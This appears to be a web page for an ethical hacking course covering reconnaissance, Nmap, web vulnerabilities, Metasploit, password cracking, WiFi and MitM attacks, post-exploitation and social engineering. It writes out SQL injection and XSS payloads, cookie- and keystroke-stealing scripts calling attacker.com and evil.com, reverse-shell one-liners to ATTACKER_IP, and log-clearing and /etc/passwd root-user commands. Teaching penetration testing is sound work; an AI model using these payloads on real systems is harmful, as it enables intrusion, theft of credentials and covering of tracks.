COURSE 2026 β€” UPDATED

Ethical HackingMasterclass

Master the art of penetration testing and offensive cybersecurity. From fundamentals to advanced exploitation techniques, with interactive labs and real-world tools.

⚑ Start Learning
10+
Modules
50+
Tools
∞
Hands-On Labs
root@kali:~# nmap -sV -A target.com Starting Nmap 7.94 ( https://nmap.org ) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9 80/tcp open http Apache/2.4.54 443/tcp open https nginx/1.24 3306/tcp open mysql MySQL 8.0.33 root@kali:~#
Ethical Hacking Masterclass
Ethical Hacking Masterclass β€” Master the art of cybersecurity

πŸ“‹ What You'll Learn

This comprehensive course takes you from absolute beginner to intermediate pentester. Each module builds upon the last, providing a structured pathway through all critical domains of ethical hacking and cybersecurity.

Module 01

πŸ” Foundations

Cybersecurity fundamentals, hacker types, methodologies, and legal frameworks

Module 02

🌐 Reconnaissance

OSINT, footprinting, Google Dorking, and comprehensive information gathering

Module 03

πŸ“‘ Scanning

Nmap mastery, port scanning, service enumeration, and banner grabbing

Module 04

πŸ•ΈοΈ Web Vulnerabilities

XSS, SQL Injection, CSRF, LFI/RFI, and the complete OWASP Top 10

Module 05

πŸ’₯ Exploitation

Metasploit framework, payloads, reverse shells, and privilege escalation

Module 06

πŸ” Cryptography

Hashing algorithms, password cracking, encryption, and specialized tools

Module 07

πŸ“Ά Networks & WiFi

Packet sniffing, ARP spoofing, WiFi attacks, and Man-in-the-Middle

Module 08

πŸšͺ Post-Exploitation

Persistence mechanisms, pivoting, data exfiltration, and covering tracks

Module 09

🎭 Social Engineering

Phishing campaigns, pretexting, SET toolkit, and attack psychology

Module 10

πŸ› οΈ Pro Tools

Burp Suite, Wireshark, John the Ripper, Hydra, certifications, and career paths

πŸ§ͺ Interactive Hacking Lab

Practice directly in your browser with our built-in simulators: port scanner emulator, password strength analyzer, hash generator & identifier, Caesar cipher encoder/decoder with bruteforce mode, XSS payload detector, Base64/URL encoder, and network subnet calculator. These tools give you hands-on experience without needing to install anything.

⚠️ Important Legal Notice

This course is strictly for educational and defensive purposes. Never use these techniques against systems without explicit written authorization. Unauthorized hacking is illegal and carries severe legal consequences including prison time.

// Module 01

Foundations of Ethical Hacking

Everything you must know before you start hacking ethically.

🎯 What is Ethical Hacking?

Ethical Hacking (also called penetration testing or white-hat hacking) is the authorized practice of bypassing system security to identify potential data breaches and threats in a network. An ethical hacker uses the same tools, techniques, and methodologies that malicious hackers use β€” but with one critical difference: they have explicit permission from the system owner.

The goal of ethical hacking is not to cause harm, but to discover vulnerabilities before malicious actors do. Think of it like hiring a professional burglar to try to break into your house so you can fix the weak points in your security system. Companies pay thousands β€” even millions β€” of dollars annually to pentesters to find and fix their security weaknesses.

The practice of ethical hacking has become one of the most in-demand skills in the IT industry. According to the Bureau of Labor Statistics, information security analyst jobs are projected to grow 32% from 2022 to 2032, much faster than the average for all occupations. Companies like Google, Microsoft, Apple, and Meta all run bug bounty programs that pay independent security researchers for finding vulnerabilities in their products.

The CIA Triad β€” Confidentiality, Integrity, Availability
The CIA Triad β€” The three pillars of information security

πŸ‘€ Types of Hackers

The cybersecurity community classifies hackers based on their intentions and legal standing. Understanding these distinctions is crucial because it defines the ethical and legal boundaries of your work:

TypeDescriptionLegal Status
White Hat 🀍Ethical hackers who work with explicit authorization to improve security. They are employed by organizations or work as independent consultants, and their findings are shared with the system owner to fix vulnerabilities.Legal
Black Hat πŸ–€Malicious hackers who exploit vulnerabilities without authorization for personal gain, financial theft, espionage, or simply to cause damage. Their activities are illegal and punishable by law.Illegal
Grey Hat 🩢Operate in the grey area β€” they may find vulnerabilities without permission but don't have malicious intent. They might disclose the vulnerability publicly or to the company. Still legally risky.Questionable
Red Team πŸ”΄Offensive security team that performs realistic attack simulations against an organization. They test not just technical defenses, but also physical security, employee awareness, and incident response.Legal (contracted)
Blue Team πŸ”΅Defensive security team responsible for maintaining and improving an organization's security posture. They monitor networks, analyze threats, respond to incidents, and enforce security policies.Legal
Bug Bounty Hunter 🏷️Independent researchers who search for vulnerabilities in companies that have public bug bounty programs (HackerOne, Bugcrowd). Rewards range from $50 to $500,000+ depending on severity.Legal

πŸ“ The Penetration Testing Methodology

Every professional penetration test follows a structured methodology. This ensures nothing is missed, findings are reproducible, and the entire process is legally documented. The most widely used frameworks are PTES (Penetration Testing Execution Standard), OSSTMM, and OWASP Testing Guide. Here are the core phases:

1
Pre-Engagement & Scoping

Define the scope, rules of engagement, timeline, and legal authorization. This includes signing a Statement of Work (SoW) and getting written permission (sometimes called a "get out of jail free" letter).

2
Reconnaissance (Information Gathering)

Collect as much information about the target as possible. This includes passive OSINT (public records, social media, DNS records) and active reconnaissance (scanning, probing). The more you know, the more attack vectors you can identify.

3
Scanning & Enumeration

Identify open ports, running services, software versions, and potential entry points. This phase uses tools like Nmap, Nikto, and Gobuster to build a detailed map of the target's attack surface.

4
Vulnerability Analysis

Analyze the data gathered to identify known vulnerabilities. Cross-reference service versions with CVE databases, run vulnerability scanners (Nessus, OpenVAS), and research potential exploits.

5
Exploitation

Attempt to exploit discovered vulnerabilities to prove they are real and demonstrate impact. This might involve using Metasploit, custom scripts, or manual exploitation techniques to gain access to the system.

6
Post-Exploitation

After gaining access, explore what an attacker could do: escalate privileges, access sensitive data, pivot to other systems, and establish persistence. Document everything you find and the potential business impact.

7
Reporting & Remediation

Create a detailed professional report documenting all findings, proof of exploits, risk ratings (CVSS scores), and specific remediation recommendations. A good report is the most valuable deliverable of a pentest.

Penetration Testing Methodology
The 5 phases of a professional penetration test

βš–οΈ Legal Framework & Ethics

Understanding the law is non-negotiable. As an ethical hacker, you must always operate within legal boundaries. The most important laws to know include:

  • Computer Fraud and Abuse Act (CFAA) β€” United States federal law that criminalizes unauthorized access to computer systems. Penalties include fines up to $250,000 and up to 20 years in prison.
  • Computer Misuse Act 1990 β€” UK law covering unauthorized access, intent to commit further offences, and unauthorized modification of computer material.
  • GDPR (General Data Protection Regulation) β€” EU regulation that governs how personal data is processed. If you discover personal data during a pentest, you have strict obligations about how you handle it.
  • Convention on Cybercrime (Budapest Convention) β€” International treaty on combating cybercrime, adopted by over 60 countries.
⚠️ Golden Rule

Always get written authorization before performing any security testing. A verbal agreement is NOT sufficient. Professional pentesters use formal contracts, Statements of Work, and Rules of Engagement documents to protect both themselves and their clients.

πŸ–₯️ Setting Up Your Lab: Kali Linux

Kali Linux is the industry-standard operating system for penetration testing. Maintained by Offensive Security, it comes preloaded with over 600 security tools including Nmap, Metasploit, Burp Suite, Wireshark, John the Ripper, and many more. Here's how to get started:

Kali Linux Hacking Environment
A typical Kali Linux pentesting workstation with multiple tools running
bash
# Option 1: Download Kali Linux ISO wget https://cdimage.kali.org/kali-2024.4/kali-linux-2024.4-installer-amd64.iso # Option 2: Use Docker for a quick environment docker pull kalilinux/kali-rolling docker run -it kalilinux/kali-rolling /bin/bash # Option 3: Use Vagrant for automated VM setup vagrant init kalilinux/rolling vagrant up # Always update Kali after installation sudo apt update && sudo apt full-upgrade -y # Install additional tools sudo apt install -y gobuster seclists wordlists
πŸ’‘ Pro Tip

If you don't want to install Kali on your machine, use VirtualBox or VMware to create a virtual machine. Offensive Security also provides pre-built VM images. For cloud-based labs, try TryHackMe or HackTheBox β€” they provide ready-made vulnerable machines you can attack legally.

🎬 Video: Introduction to Ethical Hacking

Ethical Hacking Full Course
Ethical Hacking in 15.5 Hours β€” Full Course
freeCodeCamp.org
πŸ† Challenge

Set up your own hacking lab: Install VirtualBox, download Kali Linux VM, and also download Metasploitable 2 (a purposely vulnerable machine). Get both VMs running and verify they can communicate on the same network. This will be your practice environment throughout this course.

// Module 02

Reconnaissance & OSINT

The most critical phase: gathering every piece of information about your target.

πŸ” Understanding Reconnaissance

Reconnaissance (often called "recon") is the first and most important phase of any penetration test. The information gathered during this phase directly determines which attack vectors are available and how effective your exploitation attempts will be. Professional pentesters typically spend 40-60% of their total engagement time on reconnaissance.

Reconnaissance is divided into two fundamental categories:

  • Passive Reconnaissance: Gathering information without directly interacting with the target. This includes OSINT (Open Source Intelligence), searching public records, social media analysis, DNS lookups, and using third-party services like Shodan or Censys. The target has no way of knowing you are gathering information about them.
  • Active Reconnaissance: Directly interacting with the target system. This includes port scanning, ping sweeps, banner grabbing, and vulnerability scanning. The target may detect your activities through IDS/IPS systems and log monitoring.

🌐 Google Dorking (Google Hacking)

Google is one of the most powerful reconnaissance tools available β€” and it's completely free. Google Dorks are advanced search queries that use special operators to find information that shouldn't be publicly accessible. Organizations accidentally expose sensitive files, admin panels, database dumps, and configuration files that Google happily indexes.

The Google Hacking Database (GHDB) at exploit-db.com contains thousands of pre-built dorks for finding specific types of vulnerabilities. Here are some of the most useful ones:

Google Dorks
# Find exposed configuration files site:target.com filetype:env site:target.com filetype:ini site:target.com filetype:conf # Find admin panels and login pages site:target.com inurl:admin OR inurl:login OR inurl:dashboard site:target.com intitle:"admin panel" OR intitle:"control panel" # Find exposed database files site:target.com filetype:sql site:target.com filetype:db OR filetype:sqlite # Find directory listings (misconfigurations) intitle:"index of" site:target.com intitle:"index of" "parent directory" site:target.com # Find password files and credentials site:target.com filetype:log password site:target.com filetype:txt username password site:target.com "DB_PASSWORD" ext:env # Find backup files site:target.com filetype:bak OR filetype:old OR filetype:backup site:target.com inurl:backup # Find exposed cameras/IoT devices intitle:"Live View / - AXIS" inurl:"/view/view.shtml" # Find vulnerable WordPress installations site:target.com inurl:wp-content OR inurl:wp-includes site:target.com inurl:xmlrpc.php

πŸ› οΈ Essential Reconnaissance Tools

ToolPurposeType
WHOISDomain registration information β€” owner, registrar, nameservers, datesPassive
theHarvesterHarvest emails, subdomains, IPs, URLs from multiple public sourcesPassive
MaltegoVisual link analysis and entity mapping β€” shows relationships between dataPassive
ShodanSearch engine for internet-connected devices β€” finds open ports, services, IoTPassive
Recon-ngFull-featured modular reconnaissance framework with 80+ modulesPassive/Active
Sublist3rFast subdomain enumeration using search engines and DNSPassive
AmassAdvanced subdomain enumeration and infrastructure mapping (OWASP)Active/Passive
SpiderFootAutomated OSINT collection from 200+ data sourcesPassive
CensysInternet-wide scanning platform for discovery and monitoringPassive
bash
# WHOIS β€” Domain registration info whois target.com # theHarvester β€” Harvest emails and subdomains theHarvester -d target.com -b google,bing,linkedin -l 500 # Sublist3r β€” Enumerate subdomains sublist3r -d target.com -o subdomains.txt # Amass β€” Advanced subdomain enumeration amass enum -d target.com -o amass_results.txt # DNS enumeration with dig dig target.com ANY dig axfr @ns1.target.com target.com # Zone transfer attempt # Shodan from CLI shodan search "apache" --fields ip_str,port,org shodan host 1.2.3.4 # Censys search censys search "target.com" --index-type hosts

🎬 Video: Linux for Ethical Hackers

Linux for Ethical Hackers
Linux for Ethical Hackers (Kali Linux Tutorial)
freeCodeCamp.org
πŸ† Challenge

Practice OSINT on yourself! Use theHarvester, WHOIS, and Google Dorks to see what information about you or your organization is publicly available. You might be surprised at what you find. Document your findings and think about what an attacker could do with this information.

// Module 03

Scanning & Enumeration

Discover open ports, running services, and potential entry points into your target.

πŸ“‘ Nmap β€” The King of Network Scanning

Nmap (Network Mapper) is the single most important tool in a pentester's arsenal. Created by Gordon "Fyodor" Lyon in 1997, it has become the gold standard for network discovery and security auditing. Nmap can discover hosts, open ports, running services, service versions, operating systems, and even run sophisticated vulnerability detection scripts.

Understanding Nmap deeply is a core skill that separates amateur hackers from professionals. The tool is incredibly versatile β€” from simple ping sweeps of thousands of hosts to complex, stealthy scans that evade intrusion detection systems.

TCP Three-Way Handshake
TCP Three-Way Handshake β€” How SYN scans exploit incomplete handshakes
nmap β€” Essential Commands
# Basic port scan (default: top 1000 ports) nmap 192.168.1.1 # SYN scan (stealth) β€” the most commonly used nmap -sS 192.168.1.1 # Full port scan (all 65,535 ports) nmap -sS -p- 192.168.1.1 # Version detection + OS detection + Aggressive scan nmap -sV -O -A 192.168.1.1 # Scan with default scripts (safe scripts) nmap -sC 192.168.1.1 # Vulnerability scan using NSE scripts nmap --script=vuln 192.168.1.1 # Network sweep β€” discover all live hosts nmap -sn 192.168.1.0/24 # Full aggressive scan with detailed output saved to file nmap -sS -sV -sC -O -p 1-65535 -T4 -oA full_scan 192.168.1.1 # Evade firewalls with packet fragmentation nmap -f -sS 192.168.1.1 # Use decoys to mask your real IP nmap -D RND:10 192.168.1.1 # Scan through a specific source port (often whitelisted) nmap --source-port 53 192.168.1.1

πŸ“Š Nmap Scan Types Explained

FlagTypeDescriptionStealthiness
-sSSYN ScanSends SYN, receives SYN/ACK, sends RST β€” never completes handshakeHigh
-sTTCP ConnectFull TCP handshake β€” more reliable but more visible in logsLow
-sUUDP ScanScans UDP ports β€” slow but finds services like DNS, SNMP, DHCPMedium
-sAACK ScanDetermines firewall rulesets β€” stateful vs stateless filteringHigh
-sNNULL ScanNo flags set β€” can bypass basic firewallsHigh
-sXXMAS ScanFIN+PSH+URG flags β€” "lights up like a Christmas tree"High
-sVVersion DetectionProbes services to identify software and version numbersMedium

πŸ”§ Service Enumeration

After discovering open ports, the next step is enumeration β€” extracting detailed information from each service. Different protocols require different enumeration techniques:

bash β€” Enumeration
# SMB Enumeration (Windows file sharing) enum4linux -a 192.168.1.1 smbclient -L //192.168.1.1 -N crackmapexec smb 192.168.1.0/24 # HTTP Directory Bruteforcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50 ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://target.com/FUZZ dirb http://target.com /usr/share/wordlists/dirb/big.txt # SNMP Enumeration snmpwalk -v2c -c public 192.168.1.1 snmp-check 192.168.1.1 # LDAP Enumeration ldapsearch -x -h 192.168.1.1 -b "dc=target,dc=com" # NFS Enumeration showmount -e 192.168.1.1
πŸ’‘ Pro Tip

Always save your Nmap results with -oA (all formats). This gives you normal output (.nmap), XML (.xml) for importing into other tools, and grepable format (.gnmap). You'll reference these results throughout the entire engagement.

🎬 Video: Nmap Complete Tutorial

Nmap Tutorial
Nmap Tutorial to Find Network Vulnerabilities
NetworkChuck
// Module 04

Web Vulnerabilities

The most exploited vulnerabilities in web applications β€” OWASP Top 10.

πŸ•ΈοΈ OWASP Top 10 (2021)

The OWASP Top 10 is the definitive reference list of the most critical web application security risks. Published by the Open Web Application Security Project, it's updated every few years based on real-world breach data from hundreds of organizations. Understanding these vulnerabilities is essential for any pentester:

Common Web Application Vulnerabilities
Common web application vulnerabilities β€” SQL Injection, XSS, and Broken Access Control
A01
Broken Access Control

Users can act outside their intended permissions β€” accessing other users' data, modifying records, or performing administrative functions.

A02
Cryptographic Failures

Sensitive data exposed due to weak/missing encryption β€” passwords stored in plaintext, using MD5/SHA-1, missing HTTPS.

A03
Injection (SQLi, XSS, etc.)

User-supplied data is interpreted as code by the application β€” SQL injection, XSS, command injection, LDAP injection.

A04
Insecure Design

Fundamental design and architecture flaws that can't be fixed with perfect implementation. Missing threat modeling.

A05
Security Misconfiguration

Default credentials, unnecessary services, overly verbose error messages, missing security headers.

A06
Vulnerable Components

Using libraries, frameworks, or dependencies with known vulnerabilities that haven't been patched.

A07
Auth & Session Failures

Weak authentication mechanisms, session fixation, missing brute-force protection, insecure session management.

A08
Software & Data Integrity

Untrusted data deserialization, software updates without integrity verification, CI/CD pipeline compromise.

A09
Logging & Monitoring Failures

Insufficient logging, no alerting, and inability to detect, escalate, or respond to active attacks.

A10
Server-Side Request Forgery

Application fetches remote resources without validating user-supplied URLs, enabling internal network access.

πŸ’‰ SQL Injection (SQLi) β€” Deep Dive

SQL Injection occurs when user input is inserted directly into SQL queries without proper sanitization. It remains one of the most devastating and common web vulnerabilities, capable of exposing entire databases, bypassing authentication, and even executing system commands.

SQL Injection Payloads
-- Classic login bypass ' OR '1'='1' -- ' OR '1'='1' # admin'-- ' OR 1=1 LIMIT 1 -- -- Union-based data extraction ' UNION SELECT NULL,NULL,NULL-- (find column count) ' UNION SELECT 1,2,3-- (find displayed columns) ' UNION SELECT username,password,3 FROM users-- -- Error-based extraction ' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -- Blind SQLi (Boolean-based) ' AND 1=1-- (true β†’ normal response) ' AND 1=2-- (false β†’ different response) -- Blind SQLi (Time-based) ' AND SLEEP(5)-- (MySQL) '; WAITFOR DELAY '0:0:5'-- (MSSQL) -- Reading files (MySQL) ' UNION SELECT LOAD_FILE('/etc/passwd'),2,3-- -- Writing a web shell (MySQL) ' UNION SELECT "",2,3 INTO OUTFILE '/var/www/html/shell.php'--
bash β€” sqlmap Automation
# Automated SQLi detection and database enumeration sqlmap -u "http://target.com/page?id=1" --dbs sqlmap -u "http://target.com/page?id=1" -D dbname --tables sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump sqlmap -u "http://target.com/page?id=1" --os-shell # Get OS shell # sqlmap with POST data and cookies sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --cookie="PHPSESSID=abc123" --dbs

πŸ“œ Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious client-side scripts into web pages viewed by other users. It can be used to steal cookies, hijack sessions, redirect users, deface websites, or install keyloggers. There are three main types:

  • Reflected XSS: The payload is included in the request and reflected back in the response (e.g., in URL parameters). Requires social engineering to get the victim to click a crafted link.
  • Stored XSS: The payload is permanently stored on the target server (e.g., in a database, comment field, user profile). Every user who views the affected page is attacked automatically.
  • DOM-based XSS: The payload is executed entirely on the client side through JavaScript DOM manipulation β€” the server never sees it.
XSS Payloads
// Basic tests <script>alert('XSS')</script> <script>alert(document.domain)</script> // Filter bypass techniques <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> <body onload=alert('XSS')> <input onfocus=alert('XSS') autofocus> <marquee onstart=alert('XSS')> // Cookie theft <script>new Image().src="http://attacker.com/steal?c="+document.cookie</script> // Session hijacking <script>fetch('http://attacker.com/log?cookie='+document.cookie)</script> // Keylogger injection <script>document.onkeypress=function(e){fetch('http://evil.com/k?k='+e.key)}</script> // Case manipulation bypass <ScRiPt>alert('XSS')</sCrIpT> // URL encoding bypass <a href="javascript:alert('XSS')">Click</a>
πŸ›‘οΈ How to Prevent XSS

Always sanitize and escape user input. Use Content Security Policy (CSP) headers, HttpOnly cookies, and output encoding functions like htmlspecialchars() (PHP), DOMPurify.sanitize() (JS), or template engine auto-escaping. Never use innerHTML with user data.

🎬 Video: Web Application Hacking

Web Hacking
Web Application Ethical Hacking β€” Penetration Testing Course
freeCodeCamp.org
// Module 05

Exploitation with Metasploit

The world's most powerful exploitation framework β€” from exploit to shell.

πŸ’₯ The Metasploit Framework

Metasploit is the world's most widely used exploitation framework. Originally created by H.D. Moore in 2003, it now contains thousands of exploit modules, payloads, auxiliary tools, and post-exploitation modules. It's maintained by Rapid7 and is available in both free (Framework) and commercial (Pro) editions.

Metasploit provides a complete workflow for exploitation: find a vulnerability, select an exploit, choose a payload (the code that runs after exploitation), configure options, and execute. Its modular architecture means you can mix and match components for virtually any scenario.

msfconsole
# Start Metasploit msfconsole # Search for exploits msf6 > search type:exploit platform:windows smb msf6 > search eternalblue msf6 > search CVE-2021-44228 (Log4Shell) # Select and use an exploit msf6 > use exploit/windows/smb/ms17_010_eternalblue # View required options msf6 exploit(ms17_010_eternalblue) > show options msf6 exploit(ms17_010_eternalblue) > show payloads # Configure the exploit msf6 > set RHOSTS 192.168.1.100 # Target IP msf6 > set LHOST 192.168.1.50 # Your IP msf6 > set LPORT 4444 # Listening port msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp # Exploit the target! msf6 > exploit [*] Sending stage (200774 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49321)

🐚 Meterpreter β€” The Post-Exploitation Shell

Meterpreter is Metasploit's most advanced payload. It runs entirely in memory (no files written to disk), provides encrypted communication, and offers extensive post-exploitation capabilities:

meterpreter
# System information meterpreter > sysinfo meterpreter > getuid meterpreter > getpid # File system navigation meterpreter > ls meterpreter > download /etc/passwd /tmp/ meterpreter > upload /tmp/backdoor.exe C:\\Windows\\Temp\\ # Privilege escalation meterpreter > getsystem meterpreter > run post/multi/recon/local_exploit_suggester # Credential harvesting meterpreter > hashdump meterpreter > run post/windows/gather/credentials/credential_collector # Screenshot and keylogging meterpreter > screenshot meterpreter > keyscan_start meterpreter > keyscan_dump # Network pivoting meterpreter > run autoroute -s 10.10.10.0/24 meterpreter > run post/multi/manage/autoroute # Persistence meterpreter > run persistence -U -i 30 -p 4444 -r 192.168.1.50

πŸ”„ Reverse Shells β€” Beyond Metasploit

A reverse shell makes the target connect back to your machine, bypassing firewalls that block incoming connections. Here are the most commonly used one-liners:

Reverse Shell One-Liners
# Bash reverse shell bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # Python reverse shell python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' # PHP reverse shell (for web shells) php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # PowerShell reverse shell (Windows) powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}" # Netcat listener (on YOUR machine) nc -lvnp 4444 # Generate payloads with msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php
πŸ’‘ Pro Tip

Always practice exploitation in controlled environments: Metasploitable 2/3, DVWA, VulnHub, TryHackMe, or HackTheBox. Never attack real systems without explicit written authorization.

🎬 Video: Full Ethical Hacking Course β€” Exploitation

Ethical Hacking Exploitation
Ethical Hacking in 15 Hours β€” 2023 Edition (Part 1)
The Cyber Mentor

🎬 Video: What is Metasploit?

Metasploit Tutorial
What is Metasploit β€” Metasploit Minute
Hak5
// Module 06

Passwords & Cryptography

Hashing, cracking, encryption, and their real-world vulnerabilities.

πŸ” Hashing vs Encryption

Understanding the fundamental difference between hashing and encryption is critical:

  • Hashing: A one-way mathematical function. You can't reverse a hash to get the original input. Used for password storage and data integrity verification. Examples: MD5, SHA-256, bcrypt, Argon2.
  • Encryption: A two-way function β€” you can encrypt data and decrypt it with the correct key. Used for protecting data in transit and at rest. Examples: AES-256, RSA, ChaCha20.
Password Security & Hashing Process
Password security β€” Hashing process and time-to-crack comparison
AlgorithmTypeOutput LengthSecurity Status
MD5Hash128 bits (32 hex chars)β›” Broken β€” Do NOT use
SHA-1Hash160 bits (40 hex chars)β›” Broken β€” collision found
SHA-256Hash256 bits (64 hex chars)⚠️ Secure but too fast for passwords
bcryptHash (adaptive)60 charsβœ… Recommended for passwords
Argon2Hash (adaptive)Variableβœ… Best option β€” PHC winner
AES-256Symmetric encryptionSame as inputβœ… Industry standard
RSA-4096Asymmetric encryption512 bytesβœ… Robust (for now)

πŸ”¨ Password Cracking Methods

Passwords are typically stored as hashes. Cracking means finding the original password that produces a given hash. There are several approaches:

  • Dictionary Attack: Try every word in a wordlist (like rockyou.txt β€” 14 million passwords from a real breach)
  • Brute Force: Try every possible combination of characters β€” guaranteed to find it, but can take billions of years
  • Rule-based Attack: Apply transformations to dictionary words (capitalize, add numbers, replace letters: password β†’ P@ssw0rd!)
  • Rainbow Tables: Pre-computed hashβ†’password lookup tables. Fast but defeated by salting.
bash β€” Password Cracking
# John the Ripper β€” CPU-based offline cracking john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --format=raw-md5 --wordlist=rockyou.txt hashes.txt john --show hashes.txt # Hashcat β€” GPU-accelerated cracking (MUCH faster) hashcat -m 0 -a 0 hashes.txt rockyou.txt # MD5 hashcat -m 1000 -a 0 hashes.txt rockyou.txt # NTLM (Windows) hashcat -m 1800 -a 0 hashes.txt rockyou.txt # SHA-512 Unix hashcat -m 3200 -a 0 hashes.txt rockyou.txt # bcrypt # Hashcat rule-based attack hashcat -m 0 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Hydra β€” Online brute force (SSH, HTTP, FTP, etc.) hydra -l admin -P rockyou.txt 192.168.1.1 ssh hydra -l admin -P rockyou.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" hydra -L users.txt -P passwords.txt 192.168.1.1 ftp

🎬 Video: How Encryption Works

Encryption Explained
Almost All Web Encryption Works Like This (SP Networks)
Computerphile
// Module 07

Network & WiFi Hacking

Network attacks, packet sniffing, ARP spoofing, and wireless security.

πŸ“Ά WiFi Security & Attacks

WiFi networks are one of the most common attack vectors. Wireless security protocols have evolved over time: WEP (broken in minutes) β†’ WPA (vulnerable) β†’ WPA2 (current standard, crackable with handshake capture) β†’ WPA3 (latest, most secure but still being tested).

bash β€” aircrack-ng suite
# Step 1: Enable monitor mode airmon-ng start wlan0 # Step 2: Scan for nearby WiFi networks airodump-ng wlan0mon # Step 3: Target a specific network and capture handshake airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Step 4: Force client reconnection (deauth attack) aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Step 5: Crack the handshake with a wordlist aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

πŸ•΅οΈ Man-in-the-Middle (MitM) Attacks

A MitM attack intercepts communication between two parties without their knowledge. The attacker secretly relays and possibly alters the communication. The most common method on local networks is ARP Spoofing:

Man-in-the-Middle Attack Diagram
Man-in-the-Middle attack β€” Intercepting traffic between victim and server
bash β€” ARP Spoofing & MitM
# Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # ARP Spoofing with arpspoof (dsniff package) arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # Tell victim you're the router arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 # Tell router you're the victim # Bettercap β€” Modern MitM framework bettercap -iface eth0 > net.probe on > net.sniff on > arp.spoof on > set arp.spoof.targets 192.168.1.100 # Capture and analyze traffic tcpdump -i eth0 -w traffic_capture.pcap

🎬 Video: WiFi Hacking Tutorial

WiFi Hacking
Cracking WiFi WPA2 Handshake
David Bombal
// Module 08

Post-Exploitation & Persistence

What happens after you gain access β€” escalation, persistence, and data exfiltration.

πŸšͺ Privilege Escalation

After gaining initial access, you typically have limited user privileges. Privilege escalation is the process of gaining higher-level permissions β€” usually root (Linux) or SYSTEM/Administrator (Windows). This is one of the most important skills in pentesting.

bash β€” Linux Privilege Escalation
# Find SUID/SGID binaries (potential root execution) find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null # Check sudo permissions sudo -l # Search for passwords in files grep -r "password" /etc/ 2>/dev/null grep -r "pass" /home/ 2>/dev/null cat /etc/shadow # If readable β€” jackpot! # Find exploitable cron jobs cat /etc/crontab ls -la /etc/cron.* crontab -l # Check kernel version for known exploits uname -a searchsploit linux kernel 5.4 privilege escalation # LinPEAS β€” Automated enumeration (THE best tool) curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Check for writable /etc/passwd ls -la /etc/passwd # If writable: add a root user echo 'hacker:$(openssl passwd -1 password123):0:0:root:/root:/bin/bash' >> /etc/passwd

🧹 Covering Your Tracks

A professional pentester always documents and cleans up their activities. In a real engagement, you must restore the system to its original state and document everything in your report.

bash β€” Log Clearing
# Clear bash history history -c && history -w echo "" > ~/.bash_history unset HISTFILE # Clear system logs echo "" > /var/log/auth.log echo "" > /var/log/syslog echo "" > /var/log/apache2/access.log # Modify file timestamps (timestomping) touch -r /etc/passwd /tmp/backdoor.sh # Copy timestamp from another file
⚠️ In a Real Pentest

Always document every single change you make to target systems. A good pentest report includes exactly what was modified and step-by-step instructions for reverting changes. Professionalism is what separates ethical hackers from criminals.

🎬 Video: Network Penetration Testing

Network Penetration Testing
Full Ethical Hacking Course β€” Beginner Network Penetration Testing
The Cyber Mentor
// Module 09

Social Engineering

The art of hacking minds β€” the weakest link is always the human.

🎭 What is Social Engineering?

Social engineering is the psychological manipulation of people into performing actions or divulging confidential information. It's considered the most effective attack vector because it exploits human nature rather than technical vulnerabilities. According to Verizon's Data Breach Investigations Report, over 74% of all breaches involve the human element.

Even the most hardened, technically secure organization can be compromised through a single employee who clicks a malicious link, gives out their password over the phone, or holds the door open for an unauthorized person.

🎣 Types of Social Engineering Attacks

Social Engineering Attack Types
Social engineering attack vectors β€” Phishing, vishing, baiting, and more
Attack Vector

πŸ“§ Phishing

Fake emails impersonating legitimate organizations to steal credentials, install malware, or trigger wire transfers. The most common attack vector.

Attack Vector

🎯 Spear Phishing

Highly targeted phishing aimed at specific individuals using personalized information gathered from OSINT research.

Attack Vector

πŸ“± Vishing

Voice phishing β€” fraudulent phone calls where attackers impersonate IT support, banks, or government agencies.

Attack Vector

πŸ’¬ Smishing

SMS phishing with malicious links. Often claims to be package delivery notifications, bank alerts, or account verifications.

Attack Vector

🍯 Baiting

Leaving infected USB drives in strategic locations (parking lots, lobbies). Curiosity drives people to plug them in and execute the payload.

Attack Vector

πŸšͺ Tailgating

Following authorized personnel through secure doors or checkpoints. Often done while carrying heavy boxes to trigger someone to hold the door.

πŸ›‘οΈ Defense Strategies

πŸ”
Verify the Sender

Always check email addresses and URLs carefully

πŸ”
Enable 2FA/MFA

Multi-factor authentication on all accounts

πŸ“š
Security Training

Regular awareness programs for employees

🚫
Never Share Passwords

No legitimate company will ask for yours

πŸ”—
